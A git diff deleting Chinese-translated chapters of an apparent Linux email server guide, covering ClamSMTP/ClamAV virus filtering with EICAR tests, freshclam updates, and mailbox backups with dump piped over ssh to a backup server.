-所提供的示例**配置**文件有很好的文档说明,并对每个重要的配置值进行了注释。 这里有一些您可能希望修改的关键值。 - -```sh -# The address to send scanned mail to. -# This option is required unless TransparentProxy is enabled -OutAddress: 127.0.0.1:10026 - -``` - -由于在此配置中只使用一台机器,因此应该将 `OutAddress`选项指定为 `127.0.0.1:10026`,以匹配 `master.cf`中指定的选项。 - -```sh -# The maximum number of connection allowed at once. -# Be sure that clamd can also handle this many connections -#MaxConnections: 64 -# Amount of time (in seconds) to wait on network IO -#TimeOut: 180 -# Keep Alives (ie: NOOP's to server) -#KeepAlives: 0 -# Send XCLIENT commands to receiving server -#XClient: off -# Address to listen on (defaults to all local addresses on port 10025) -#Listen: 0.0.0.0:10025 - -``` - -此地址匹配在 `main.cf`中指定的选项。 - -```sh -# The address clamd is listening on -ClamAddress: /var/run/clamav/clamd.sock - -``` - -这应该匹配 `clamd.conf`文件中的 `LocalSocket`选项。 - -```sh -# A header to add to all scanned email -#Header: X-Virus-Scanned: ClamAV using ClamSMTP -# Directory for temporary files -#TempDirectory: /tmp -# What to do when we see a virus (use 'bounce' or 'pass' or 'drop' -Action: drop - -``` - -丢掉这些信息。 - -```sh -# Whether or not to keep virus files -#Quarantine: off -# Enable transparent proxy support -#TransparentProxy: off -# User to switch to -User: clamav - -``` - -重要的是要确保这些进程以运行 `clamd`的相同用户运行,否则您可能会发现每个进程在访问其他进程的临时文件时存在问题。 - -```sh -# Virus actions: There's an option to run a script every time a virus is found. -# !IMPORTANT! This can open a hole in your server's security big enough to drive -# farm vehicles through. Be sure you know what you're doing. !IMPORTANT! -#VirusAction: /path/to/some/script.sh - -``` - -现在我们准备好执行 `clamsmtpd`流程的启动。 您应该将其作为 `root`启动,并验证进程是否存在并使用 `clamav`的用户 id 运行。 - -```sh -# clamsmtpd - -``` - -如果在启动服务时遇到问题,请确保 `clamd`(ClamAV 守护进程)正在运行,并且它正在监听您指定的套接字。 您可以使用 `LocalSocket`或 `TCPSocket`指令在 `clamd.conf`中进行设置(请确保只取消其中一行的注释)。 您还应该确保 `ScanMail`指令被设置为 `on`。 - -# 测试邮件过滤 - -根据定义,病毒是我们宁愿避免接触的东西。 但为了确保我们的过滤和检测过程正常工作,并充分保护我们,我们需要访问病毒进行测试。 在生产环境中使用真实的病毒进行测试,就像在办公室里点燃垃圾桶来查看烟雾探测器是否工作一样。 这样的测试将会得到有意义的结果,但也会伴随着不吸引人的风险和不可接受的副作用。 因此,我们需要我们的 EICAR 测试文件,它可以安全地到处传播,而且它显然是非病毒的,但您的杀毒软件将对它作出反应,就像它是病毒一样。 - -## 测试邮件传播的病毒过滤 - -第一个测试是检查您是否仍然可以接收邮件。 - -```sh -$ echo "Clean mail" | sendmail $USER - -``` - -你收到的邮件应该会加上以下一行: - -```sh -X-virus-scanned: ClamAV using ClamSMTP - -``` - -如果没有收到邮件,请检查系统、后缀和 clamd 日志文件。 如果有必要,还可以使用 `-d 4`选项停止并重新启动 `clamsmtpd`守护进程,以获得额外的调试输出。 - -通过将 EICAR 病毒的副本作为电子邮件附件发送给自己,可以执行扫描邮件传播病毒的第二个简单测试。 - -必须将示例 EICAR 病毒文件创建为电子邮件的附件。 以下来自 Linux 命令提示符的命令链将发送受病毒感染的文件的非常简单的 uu 编码附件副本。 - -```sh -$ uuencode testvirus.txt test_virus | sendmail $USER - -``` - -如果一切都正常工作并正确配置,您应该不会收到邮件,因为提示 `clamsmtp`删除消息。 消息的缺失并不能证明一切都在正常工作,因此请检查系统或后缀日志文件中类似以下条目: - -```sh -Jul 8 19:38:57 ian postfix/smtp[6873]: 26E66F42CB: to=, orig_to=, relay=127.0.0.1[127.0.0.1]:10025, delay=0.1, delays=0.06/0/0.04/0, dsn=2.0.0, status=sent (250 Virus Detected; Discarded Email) - -``` - -这证明了检测包含病毒的直接附件的简单情况。 - -当然,在现实世界中,病毒比一般的电子邮件附件要聪明一些。 需要进行彻底的测试,以确保正确地设置了筛选。 幸运的是,有一个网站([http://www.gfi.com/emailsecuritytest/](http://www.gfi.com/emailsecuritytest/))可以向您发送包含以多种方式在电子邮件中编码的 EICAR 病毒的电子邮件。 目前它支持 17 个单独的测试。 - -## 全面的电子邮件测试 - -网站[http://www.gfi.com/emailsecuritytest/](http://www.gfi.com/emailsecuritytest/)要求您注册要测试的电子邮件地址,并向该地址发送确认电子邮件。 在此电子邮件中有一个 follow 链接,该链接确认您是控制该电子邮件地址的有效用户。 然后,您可以将 17 个病毒和电子邮件客户端利用测试中的任何一个或全部发送到此电子邮件地址。 如果任何带有病毒的电子邮件在您的收件箱中没有被过滤,那么安装就失败了。 - -### 注意事项 - -然而,站点上有一些测试消息严格来说不是病毒,因此 ClamAV 流程无法检测到它们。 这是因为这些消息本身并不包含病毒,因此没有什么可查找的,因此也没有什么可停止的。 - -根据定义,ClamAV 只捕获恶意代码。 gfi([http://www.gfi.com/emailsecuritytest/](http://www.gfi.com/emailsecuritytest/))站点发送这种类型的测试消息。 这些消息的本质是它们有一些畸形的 MIME 标记,可以欺骗 Outlook 客户机。 它不是一个反病毒程序的工作来检测这样的消息。 - -# 自动更新病毒数据 - -ClamAV 由志愿者提供,用于分发软件和病毒数据库的服务器和带宽是自愿资助的。 因此,确保在检查更新以维护最新数据库和重载各种服务器之间保持平衡是很重要的。 - -### 注意事项 - -ClamAV 小组建议如下:如果您运行的是 ClamAV 0.8x 或更高版本,如果您在 `freshclam.conf: DNSDatabaseInfo current.cvd.clamav.net`中有以下选项,那么您可以每小时检查四次数据库更新。 - -如果你没有这个选择,你必须坚持每小时一张支票。 - -## 设置自动更新 - -ClamAV 的病毒数据库文件可以通过多种方式从 ClamAV 服务器上下载。 这包括使用自动或手动工具,如 `wget`。 然而,这并不是进行更新的首选方法。 - -我们早先使用 ClamAV 安装的 `freshclam`实用程序是执行更新的首选方法。 它会定期自动下载最新的防病毒数据库。 可以通过 `cron`条目或命令行设置它自动工作,也可以作为守护进程运行并处理自己的调度。 当 `freshclam`由具有根权限的用户启动时,它将删除特权并将用户 ID 切换到 `clamav`用户。 - -`freshclam`使用 DNS 系统的功能来获取已准备好下载的最新版本的病毒数据库的详细信息,以及可以从何处获取。 这可以显著降低您自己和远程系统的负载,因为在大多数情况下,执行的唯一操作是使用 DNS 服务器进行检查。 只有在有新版本可用时,它才会尝试执行下载。 - -现在我们准备开始 `freshclam`流程。 如果您已经决定将它作为守护进程运行,那么只需执行以下命令: - -```sh -# freshclam –d - -``` - -然后检查进程是否正在运行,并且日志文件是否被正确更新。 - -另一种可用的方法是使用 `cron`守护进程来调度 `freshclam`进程以定期运行。 为此,您需要为 `root`或 `clamav`用户在 `crontab`文件中添加以下条目: - -```sh -N * * * * /usr/local/bin/freshclam –quiet - -``` - -### 注意事项 - -`N`可以是 `1`和 `59`中的任意数字。 请不要选择任何 10 的倍数,因为已经有太多的服务器使用这些时间段。 - -代理设置只能通过配置文件进行配置,当 `HTTPProxyPassword`被启用时, `freshclam`将要求配置文件的所有者具有严格的只读权限。 例如, - -```sh -# chmod 0600 /etc/freshclam.conf - -``` - -代理设置示例如下: - -```sh -HTTPProxyServer myproxyserver.com -HTTPProxyPort 1234 -HTTPProxyUsername myusername -HTTPProxyPassword mypass - -``` - -# 自动启动和关机 - -如果通过包管理器而不是从源安装任何或所有 ClamAV 和 ClamSMTP 组件,则可能已经提供了必要的启动脚本。 检查是否在启动启动序列中包含了必要的脚本。 - -如果您已经从源代码安装了 ClamAV,下面的脚本是在引导时启动和停止必要的守护进程的示例。 根据您的发行版本,文件位置可能有所不同,您可能需要执行额外的命令来为每个脚本设置运行级别。 请参阅您的发行版文档。 - -## ClamSMTP - -在 ClamSMTP 源中提供的脚本之一是用于在启动系统时自动启动和停止操作守护进程的脚本。 检查脚本中的路径名是否与配置文件和安装目录中的路径名匹配,然后从 ClamSMTP 源树的根目录执行以下命令: - -```sh -# cp scripts/clamsmtpd.sh /etc/init.d/clamsmtpd - -``` - -复制文件之后,确保脚本具有执行权限,并且除了系统 root 用户之外,任何人都不能修改脚本。 - -```sh -# ls -al /etc/init.d/clamsmtpd --rwxr-xr-x 1 root root 756 2009-07-09 15:51 /etc/init.d/clamsmtpd - -``` - -将该脚本添加到系统启动中。 - -```sh -# update-rc.d clamsmtpd defaults - -``` - -## ClamAV - -接下来是一个示例脚本,用于在引导时启动和停止 `clamd`和 `freshclamd`守护进程。 与前面一样,验证路径名,根据需要调整脚本,并在将脚本添加到系统启动之前将其复制到系统初始化目录。 - -如果 `freshclam`作为 `cron`作业而不是作为守护进程运行,那么从脚本中删除启动 `freshclam`进程和停止 `freshclam`进程的行。 - -```sh -#!/bin/sh -# -# Startup script for the Clam AntiVirus Daemons -# -[ -x /usr/local/sbin/clamd ] || [ -x /usr/local/bin/freshclam ] || exit 0 -# See how we were called. -case "$1" in -start) -echo -n "Starting Clam AntiVirus Daemon: " -/usr/local/sbin/clamd -echo -n "Starting FreshClam Daemon: " -/usr/local/bin/freshclam -d -p /var/run/clamav/freshclam.pid -;; -stop) -echo -n "Stopping Clam AntiVirus Daemon: " -[ -f /var/run/clamav/clamd.pid ] && kill `cat /var/run/clamav/clamd.pid` -rm -f /var/run/clamav/clamd.socket -rm -f /var/run/clamav/clamd.pid -echo -n "Stopping FreshClam Daemon: " -[ -f /var/run/clamav/freshclam.pid ] && kill `cat /var/run/clamav/freshclam.pid` -rm -f /var/run/clamav/freshclam.pid -;; -*) -echo "Usage: clamav {start|stop}" -;; -esac - -``` - -# 监控日志文件 - -定期监视日志文件是很重要的。 在这里,您将能够跟踪病毒数据库的定期更新,并确保您的系统受到尽可能好的保护。 - -定期更新消息应该如下所示: - -![Monitoring log files](img/8648_09_04.jpg) - -偶尔会有新软件发布,需要更新。 在这种情况下,您将在日志文件中得到警告消息,如下所示: - -![Monitoring log files](img/8648_09_05.jpg) - -在 Internet 连接出现问题或远程文件本身在更新时不可用的情况下,进程可能会记录临时错误消息。 只要这些错误不存在,就不需要采取任何行动。 - -# 文件消毒 - -一种常见的要求是,在将文件转发给最终接收方之前,对文件进行自动消毒。 在当前版本(0.95)中,ClamAV 无法对文件进行消毒。 以下信息可从 ClamAV 文档中获得。 - -> 我们将在下一个稳定版中添加对 OLE2 文件的消毒支持。 目前还没有对其他类型文件进行消毒的计划。 这样做的原因有很多:现在从文件中清除病毒几乎毫无意义。 清洁后很少有什么有用的东西留下,即使有,你能相信吗? - -# 总结 - -我们现在已经安装并配置了一个非常有效的防病毒系统,用于检查所有收到的电子邮件中的受感染附件,并显著地保护了我们的系统(包括服务器和工作站)免受攻击。 - -我们的邮件传输代理 Postfix 现在可以通过 ClamSMTP 内容过滤接口过滤使用 ClamAV 守护进程的所有邮件,以扫描和检测针对病毒签名数据库的各种威胁。 通过使用 `freshclam`,我们确保我们的检测数据库一直保持最新,以防范最新的威胁和任何新发布的病毒。 在这场持续的战斗中,我们仍然需要时刻保持警惕,以确保软件和文件始终保持完全最新的状态。` \ No newline at end of file diff --git a/docs/linux-email/10.md b/docs/linux-email/10.md deleted file mode 100644 index b9c90fc4..00000000 --- a/docs/linux-email/10.md +++ /dev/null @@ -1,748 +0,0 @@ -# 十、备份系统 - -为了在发生重大硬件或软件故障时从灾难性的服务损失中恢复,有一个备份是绝对必要的。 备份应该让您恢复软件(或者更确切地说,软件的配置)和重新建立服务所需的其他数据。 这包括用户的邮件、系统的邮件队列以及他们的身份验证数据等。 - -本章将指导您完成必要的步骤,以保护您的系统不发生故障,以及如果发生故障,如何恢复。 读完本章,你就会知道: - -* 什么备份选项可用 -* 我们需要备份多少数据啊 -* 备份介质的存储考虑 -* 如何对邮箱执行增量备份和完全备份 -* 完成文件系统恢复所需的步骤 -* 如何恢复单个电子邮件 -* 如何备份我们的服务器配置 -* 设置自动备份计划 - -# 备份选项 - -选择最合适的备份选项总是需要权衡。 您必须平衡业务的停机成本、备份媒体和硬件的价格和可用性、用户数据的价值(在本例中是用户的电子邮件)以及管理备份操作的人员成本。 - -对于我们的小型办公室电子邮件服务器,我们将提供一个简单但可靠的解决方案,使用许多管理员多年来使用的可靠的技术和工具。 - -我们采取的任何备份都需要存储在备份媒体上。 最方便的解决方案是有一台备用的 Linux 机器,它有许多硬盘驱动器,可以连接到我们的电子邮件服务器,最好位于另一栋大楼里。 如果我们想保护自己免受火灾等灾难性事件的影响,在站点外存储备份是必要的。 - -如果不能使用远程服务器,那么可以使用一些连接到服务器的可热插拔外部硬盘驱动器,必要时甚至可以使用 DVD 刻录机。 磁带驱动器也是一种选择,但磁带驱动器和媒体的成本通常比服务器更高。 如果可移动媒体是唯一的选择,那么不要把备份堆在服务器上或抽屉里,把它们移到一个安全的地点。 在现场保留最新备份媒体的本地副本,以便更快地响应紧急恢复情况,这可能比较方便。 - -## 突袭 - -**RAID**是**廉价**(或**独立**)**硬盘**的**冗余阵列**的缩写。 通过在 RAID 设置中使用多个磁盘,数据分布在磁盘上,但操作系统将阵列视为单个设备。 通过在整个阵列中复制和划分数据,可以显著降低对磁盘故障的容忍度,从而提高数据可靠性和可能的 I/O 性能。 当阵列中有硬盘故障时,可以将旧硬盘更换为新硬盘。 然后 RAID 控制器(硬件或软件控制器)重构数据。 有关 RAID 和各种可用配置选项的更多信息,请访问[http://en.wikipedia.org/wiki/RAID](http://en.wikipedia.org/wiki/RAID)。 【病人】 - -但是,RAID 本身并不是一个备份解决方案。 文件或电子邮件已被删除,无论是意外或恶意,无法恢复。 RAID 不能防止用户错误或严重的硬件故障,如电源激增导致服务器崩溃甚至火灾损坏。 - -使用 RAID 提高数据可用性是一件好事,但并不是合适的备份和恢复策略的替代方案。 - -## 镜像备份 - -磁盘映像备份程序将从硬盘逐个扇区复制数据,而不考虑磁盘上的任何文件或结构。 备份是磁盘的精确映像—主引导记录、分区表和所有数据。 - -在发生重大硬件故障时,恢复系统的步骤如下: - -1. 更换或修复故障硬件。 -2. 引导包含磁盘映像恢复程序的 Linux 活动 CD。 -3. 从备份中写入每个磁盘的映像。 -4. 重新引导。 - -从表面上看,这似乎是一种有吸引力的、快速的方法,可以快速、轻松地恢复服务。 但是,使用磁盘映像进行备份存在许多固有的问题。 - -* 将磁盘映像恢复到不同大小或几何形状的新磁盘通常是不可能的。 -* 新的硬件几乎肯定是不同的配置(主板、网卡、磁盘控制器等等),并且恢复的 Linux 内核可能没有成功引导所需的驱动程序。 -* 磁盘映像很大。 映像是磁盘的总大小,而不仅仅是存储在磁盘上的数据的大小。 多个磁盘映像的空间需求很快就会增加。 -* 恢复单个用户文件是相当麻烦的。 需要将磁盘映像恢复到空闲磁盘,挂载在正在运行的系统上,一旦找到,将其复制到所需的位置。 - -总体系统故障很少发生,映像恢复的便利性和速度通常被文件系统备份的灵活性所抵消。 - -## 文件系统备份 - -与映像备份不同,文件系统备份了解文件系统的结构,从而了解硬盘上的数据。 因此,只复制磁盘中已分配的部分,而不复制空闲空间。 备份针对的是文件系统中的所有文件,而不是按扇区进行备份。 - -因为文件系统备份是通过这种方式进行的,这意味着可以只复制自上次备份以来更改的文件,从而产生较小的后续备份文件。 - -在发生重大硬件故障时,恢复系统的步骤如下: - -1. 更换或修复故障硬件。 -2. 安装 Linux 发行版。 -3. 在本书中安装邮件服务器应用。 -4. 应用任何补丁。 -5. 恢复应用配置数据备份。 -6. 恢复用户数据备份。 -7. 重新启动 - -与映像备份相比,这种方法花费的时间稍微长一些,涉及的步骤也更多,但是有许多优点。 - -* 更换的硬盘不需要相同的尺寸和几何形状。 -* 只要您的 Linux 发行版支持新硬件,就不存在兼容性问题。 -* 备份文件的大小要小得多。 -* 单个文件的恢复要简单得多。 - -如前所述,主要系统故障并不常见。 虽然完成完全恢复的步骤比映像备份要麻烦一些,但更小、更快的备份以及用户数据的选择性恢复的便利性的优点是非常显著的。 - -为了减少意外磁盘故障的可能性,可以使用系统工具监视磁盘驱动器的健康状况。 更多信息,请访问[http://en.wikipedia.org/wiki/S.M.A.R.T。](http://en.wikipedia.org/wiki/S.M.A.R.T) 。 - -## 临时备份 - -文件系统备份整个文件系统,而不是个别的文件或目录。 有时,在对某个应用进行重大配置更改后,我们可能希望只复制几个文件。 - -使用标准 Linux 工具(如 `tar`或 `cp`),可以将重要的更改文件复制到文件系统上的一个目录中,该目录是正常备份计划的一部分。 - -# 什么要备份 - -与备份相关的一个大问题是,“我们应该备份什么?” - -有很多因素影响着我们的最终决定。 当然,我们希望备份服务器的配置,因为这对服务器的功能至关重要。 但我们也希望备份用户的数据,因为这是我们业务的宝贵资产。 公司有没有规定人们可以用电子邮件进行私人交流? 如果有,我们是否也应该备份这些信息? - -我们应该只备份恢复系统到正常工作状态所需要的数据。 这样可以节省备份介质的空间,缩短执行备份和恢复所需的时间。 - -毕竟,任何备份媒体上的空间都是有限的,因此非常宝贵。 备份所有用户的邮件比备份 `/tmp`目录更重要。 此外,我们备份的数据越少,执行备份所需的时间就越少,从而更快地将系统资源(CPU 周期、I/O 带宽)返回给它们的主要目的——处理用户的邮件。 - -以下是我们需要备份以获得工作系统的项目列表: - -* 系统库存 -* 服务需要的已安装软件 -* 软件配置文件 -* 用户的凭证 -* 用户的邮箱 -* 日志文件(用于计费目的和最终用户请求) -* 后缀邮件队列 - -下面几节描述了所讨论的每一项。 - -## 系统库存 - -在部分或全部硬件故障的情况下,记录当前系统布局是很有用的。 在大多数情况下,替换的硬件通常与我们当前的设置一样好,如果不是更好的话。 为了恢复系统,我们需要知道磁盘是如何分区的,以及挂载点是如何组织的。 将用户的数据恢复到一个太小的磁盘上是很困难的。 - -使用以下命令的输出,我们将有足够的信息来重新创建磁盘布局: - -```sh -# fdisk -l > disk_layout.txt - -``` - -该命令打印每个磁盘的分区表,并将输出保存到一个文件中。 - -```sh -# df -h >> disk_layout.txt - -``` - -这个命令将每个挂载点的容量和用法附加到我们的文件中。 - -```sh -# mount >> disk_layout.txt - -``` - -`mount`命令列出当前的挂载点,我们将其附加到文件中。 - -其他信息可能在文件 `/etc/fstab`中,我们稍后将对其进行备份。 - -## 获取已安装软件列表 - -为了恢复已安装的软件,我们需要一个当前已安装软件的列表。 - -在 Debian 中,这是通过以下命令提供的。 `installed_software.txt`文件包含系统上已安装/未安装软件的当前状态。 - -```sh -# dpkg --get-selections > installed_software.txt - -``` - -对于基于 rpm 的发行版,这将是: - -```sh -# rpm -qa > installed_software.txt - -``` - -在基于 debian 的系统中,稍后可以使用该文件安装相同的软件集。 - -```sh -# dpkg --set-selections < installed_software.txt -# dselect - -``` - -在 `dselect`实用程序中,为 `install`选择 `i`,然后确认安装。 - -对于基于 rpm 的发行版,这将是: - -```sh -# yum -y install $(cat installed_software.txt) - -``` - -### 注意事项 - -刚才讨论的命令只列出通过包管理器安装的软件。 如果您已经从源代码安装了软件,那么请记录您安装的应用和版本。 - -## 系统配置文件 - -没有这些,服务器将不能执行其预期的职责。 至少需要备份的配置文件有: - -* `/etc/courier:`此目录保存了 Courier-IMAP 的配置数据。 -* `/etc/postfix:`此目录保存 Postfix 的配置数据。 - -目录树 `/etc`包括网络设置、路由等项目,否则我们需要记住这些内容。 建议备份整个 `/etc`树。 - -### 注意事项 - -如果您从源代码安装了带有非标准位置配置文件的软件,请确保将这些配置文件包含在您的备份候选列表中。 - -## 认证数据 - -否则,用户无法使用其用户名和密码组合进行身份验证。 需要备份的数据取决于身份验证的完成方式,包括三个文件`—/etc/passwd, /etc/shadow`和 `/etc/group`,以及一个 MySQL 数据库(如果用户的凭证存储在该数据库中)。 - -## 用户邮箱 - -这是存储用户邮件的地方。 这包括 `/home`及其以下的整个目录树。 这是我们大量的备份大量的数据。 - -## 日志文件 - -我们至少应该存储 Postfix 和 Courier 生成的日志。 这些将用于处理用户请求,例如“我的邮件去哪里了?” 如果用户是基于发送和/或接收的邮件量计费,那么我们肯定需要备份 Postfix 的日志。 - -由于 Postfix 的和 Courier 的日志通常是由系统的 `syslogd`守护进程写入的,我们需要检查 `/etc/syslog.conf`文件来查看这些日志的去向。 两个程序都使用 `syslog`邮件设施记录它们的消息。 - -为了确保完全覆盖,最好备份 `/var/log`的整个目录树。 - -## 邮件队列 - -备份正在工作的系统的 Postfix 队列可能有意义,也可能没有意义,这取决于具体情况。 - -使用 Postfix,电子邮件至少会击中磁盘两次。 - -* 当电子邮件被 Postfix 接收时,它们第一次到达你的驱动器; 在继续交付之前,它们被写入 Postfix 的 `queue_directory`。 - -### 注意事项 - -病毒扫描程序或检测垃圾邮件的程序(例如, `clamav`和 `spamassassin`)可能会产生更多磁盘 I/O。 - -* 如果是本地域的邮件,我们的服务器就是这些邮件的最终目的地,它们在 `queue_directory`中的寿命非常短。 它们进入队列,只是为了随后立即被发送到用户的邮箱。 这是他们第二次撞击磁碟了。 -* 如果是发送到其他域的邮件(因为服务器充当中继),那么 Postfix 将立即联系收件人的邮件服务器,并尝试将消息传递到那里。 只有在出现问题的情况下,队列才会包含大量尚未交付的电子邮件。 这些问题是: - * **`content_filter`**速度慢或不能操作:**例如 `clamsmtp`或其他产品。** - *** **远程站点有问题:**大型免费电子邮件提供商经常有问题,因此可能无法立即接受我们的电子邮件。** - - **在这两种情况下,延迟队列将填满仍要交付的邮件,显然应该备份这些邮件,以防出现故障。 如果服务器非常繁忙,队列中可能会有大量延迟的邮件。 - -Postfix 邮件队列包括目录树 `/var/spool/postfix`及其以下。 - -# 什么不备份 - -我们不需要备份所有已安装的二进制文件,因为这些文件可以简单地使用前面提到的“已安装软件列表”重新安装。 当然,这假定在我们需要重建系统时,安装介质是可用的。 作为具有安全意识的管理员,我们通过安装厂商的补丁来保持系统的更新。 随着时间的推移,已安装和随后打过补丁的软件的版本将与安装媒体上的版本显著不同。 如果这些更新可以通过互联网安装(例如使用 Red Hat 的 up2date 或 Debian apt-get),我们就不需要在站点上保存它们。 - -# 备份用户电子邮件 - -我们将使用 dump 来备份包含邮箱的整个分区。 dump 命令将文件系统中的文件复制到指定的磁盘、磁带或其他媒体。 - -使用它的原因有: - -* 它的速度非常快(在我的测试中,网络是瓶颈) -* 它很简单(一个命令就足够了) -* 它可以在无人值守的情况下运行(例如,作为 `cron`作业) -* 它不需要安装任何额外的软件 -* 它不需要 GUI -* 它已经非常成熟了,大约从 1975 年 AT&T UNIX 版本 6 开始 - -`restore`命令的执行与 `dump`相反。 可以将使用 `dump`获得的文件系统备份恢复为完整的文件系统,也可以有选择地恢复某些文件或目录。 - -## 邮件存储 - -出于多种原因,我们建议将邮箱(`/home`)放在一个单独的分区上。 - -* 文件系统维护可以独立于系统的其他部分执行(只需卸载 `/home`,执行 `fsck`,然后重新挂载它)。 -* 可以将该分区放在单独的磁盘上或 RAID 上,从而将用户的 I/O(在该分区上)与系统的 I/O(日志、邮件队列、病毒扫描程序)分开。 - -最重要的是: - -* 使用 `dump/restore`,我们可以转储整个分区。 (好吧,这并不完全正确,但只有在整个分区中才能轻松地完成 `dump/restore`。) -* 包含邮箱的分区过满不会对系统写入日志文件或其他重要系统信息的能力产生负面影响。 如果所有数据(日志、邮箱、系统文件)都在一个分区上,填充这个分区将导致停止日志记录。 - -Courier 和 Postfix 都对用户的邮箱使用 Maildir 格式。 它们将每封邮件存储为一个单独的文件,即使是单个邮件也可以轻松地恢复操作。 - -使用 Maildir 格式的备份操作非常简单。 - -* “备份电子邮件”对应于“将文件备份到备份媒体”。 -* “还原电子邮件”对应于“从备份介质中还原文件”。 -* “备份邮箱”对应于“将一个 Maildir 及其所有子目录备份到备份介质”。 -* “还原邮箱”对应于“从备份介质中还原 Maildir 及其所有子目录”。 - -## 使用 dump - -备份数据基本上有两种方法。 简单方法在执行备份时存储所有数据。 这被称为完全备份。 它的优点是简单,而它的主要缺点是需要存储在备份媒体上的大量数据。 增量备份的概念解决了这个问题。 增量备份仅保存自上次增量(或完全)备份以来的更改。 - -如果备份介质上的空间允许每天进行完全备份,为了简单起见,我们可以这样做。 这样,我们只需要查看最后一个完整的备份就可以恢复所有数据。 - -增量备份很简单。 备份软件只需要备份自上次备份以来最近创建或更改的文件和目录。 - -如果空间不允许这个简单的解决方案,我们可以使用以下方案: - -* 每周执行一次全量备份 -* 做 6 次增量备份,每天一次 - -如果我们需要从头开始恢复,首先恢复最后一个完整备份,然后恢复最多 6 个增量备份。 这样我们最多失去一天的邮件,这是我们可以得到的最接近每天备份间隔。 稍后,我们将看到更复杂的增量备份策略,以减少恢复完整转储后所需的增量恢复的数量。 - -有关 `dump(8)`和 `restore(8)`的详细信息,请参见系统手册页面。 - -现在我们来看看使用 `dump`命令备份邮箱的实际任务。 - -### 完全转储 - -现在,我们要对包含用户 Maildirs 的分区执行完全备份。 在本例中,这个分区将是 `/dev/sdb1`(我们的 SATA 磁盘的第一个分区)。 因此,我们将想要备份 `/dev/sdb1`。 - -为了找出系统上需要备份的分区,我们需要检查 `mount`命令的输出: - -```sh -# mount - -``` - -```sh -/dev/sda1 on / type ext3 (rw,relatime,errors=remount-ro) -tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755) -/proc on /proc type proc (rw,noexec,nosuid,nodev) -sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) -varrun on /var/run type tmpfs (rw,nosuid,mode=0755) -varlock on /var/lock type tmpfs (rw,noexec,nosuid,nodev,mode=1777) -udev on /dev type tmpfs (rw,mode=0755) -tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev) -devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620) -fusectl on /sys/fs/fuse/connections type fusectl (rw) -lrm on /lib/modules/2.6.27-14-generic/volatile type tmpfs (rw,mode=755) -/dev/sdb1 on /home type ext3 (rw,relatime) - -``` - -我们可以看到, `/home`是 `/dev/sdb1`的分区。 - -我们的计划是使用 `dump`工具为这个分区创建备份。 该备份数据需要传输到我们的备份介质中,备份介质可以是另一个磁盘、磁带,在本例中,可以是远程备份服务器中的磁盘。 - -通过网络获取数据有多种方法,其中之一是 `ssh`。 它是一种网络协议,用于保证两台设备之间的安全通信。 - -为了将我们的备份数据通过网络传输到备份服务器中的另一个磁盘上,我们使用 Linux 的能力将 `dump`程序和 `ssh`协议结合起来。 - -`dump`程序的输出将送入 `gzip`以压缩转储,然后送入 `ssh`,从而在备份服务器上生成另一个程序 `dd`,最终将该数据写入其磁盘。 - -以下代码行将包含邮箱的分区的完整转储到远程系统上的一个文件。 我们假设邮箱位于挂载为 `/home`的分区 `/dev/sdb1`上。 - -以 root 用户执行如下命令: - -```sh -# dump -0 -u -b 1024 -f - /dev/sdb1 | \ -gzip -c | \ -ssh user@backup-host.domain.com \ -dd of=/backupdirectory/$(date +%Y%m%d%H%M%S).home.dump.0.gz - -``` - -这个命令看起来很复杂,所以让我们在每个步骤中分解它: - -* `dump -0 -u -b 1024 -f -`执行水平 `0`(`full`)转储的分区 `/dev/sdb1` `/home`(包含在我们的示例中)使用一块大小 `1024`(最大性能)和更新 `/var/lib/dumpdates`(`-u`)文件转储后已经成功。 `-u`选项很重要,因为它记录此转储的日期和时间,因此后续的增量转储可以确定自上次转储以来更改或创建了哪些文件。 转储的输出转到指定为(`-`)的文件(`-f`),该文件表示 `stdout`,即标准输出。 -* 当 `dump`数据进入标准输出(`stdout`)时,我们可以将该输出管道到 `gzip`以压缩转储的大小。 `-c`选项告诉 `gzip`将压缩输出写入 `stdout`。 -* 然后,压缩的 0 级转储输出通过管道传递到 `ssh`命令,该命令对以 `user`身份登录的系统 `backup-host.domain.com`进行远程连接。 登录后,远程系统执行 `dd`命令。 我们建议使用 `ssh`提供的基于密钥的身份验证方案。 这样,备份可以在无人值守的情况下运行,因为没有人需要输入作为 `user`登录 `backup-host.domain.com`所需的密码。 -* 在远程服务器上,最后一步是使用 `dd`命令写入输出。 输出文件名由 `of`选项指定为 `dd`。 输出文件名的构造方式便于识别文件系统、转储的日期和时间、转储的级别以及后缀 `.gz`,以表明该转储文件已被压缩。 文件名部分 `$(date +%Y%m%d%H%M%S`是在本地系统(不是远程系统)上执行的 shell 扩展,以 `YYYYMMDDHHMMSS`格式输出当前日期和时间。 最终的输出文件名将类似于 `20090727115323.dump.0.gz`。 - -有关每个命令的更多信息,请参阅系统手册中的 `dump, gzip, ssh, dd`和 `date`页。 - -输出将类似如下所示: - -![Full dump](img/8648_10_01.jpg) - -下面的例子将简单地将备份数据写入一个目录没有 `stdout`魔法! - -下面的代码行给出了包含邮箱的分区的完整转储到一个单独磁盘上的文件,以保存备份: - -```sh -# dump -0 -u -f /backupdirectory/fulldump /dev/sdb1 - -``` - -当然,这是更快和更简单的通过网络发送所有数据通过 `ssh`与数据进行加密和解密在运输过程中(这需要很多的时间和 CPU),但是,如果我们的服务器是烧成炭灰,一个内置的硬盘上备份不会起到任何作用。 - -请记住, `/backupdirectory/fulldump`也可以是 NFS 挂载或 SMB 挂载。 这将同时提供简单的命令行和离线备份的优点。 所以,确保你有一个离线备份。 这两种方法都很简单。 - -### 增量转储 - -增量转储的执行方式与完整转储完全相同,只是我们将级别选项从 0 更改为 1、2 或 3,等等,这取决于我们希望备份多少更改。 记住,高于 0 的级别告诉 dump 复制自上一次较低级别转储以来的所有新文件或修改的文件。 最好用一些例子来说明这一点。 为了清晰起见,我们将简单地将其转储到一个文件中,但在实践中,我们通常使用与使用 `gzip, ssh, dd`所讨论的相同的命令序列,等等。 - -假设我们的 0 级转储是在周日晚上被拿走的。 然后在周一晚上执行第一次增量转储(级别 1,由 `-1`选项表示),如下所示: - -```sh -# dump -1 -u -f mon.dump.1 /dev/sdb1 - -``` - -这会将所有新的或自上次完全转储后更改的内容保存到 `mon.dump.1`。 此转储文件将比以前仅包含周一所做更改的完整转储要小得多。 假设,在第二天我们重复这个 1 级转储 - -```sh -# dump -1 -u -f tue.dump.1 /dev/sdb1 - -``` - -第二个增量转储 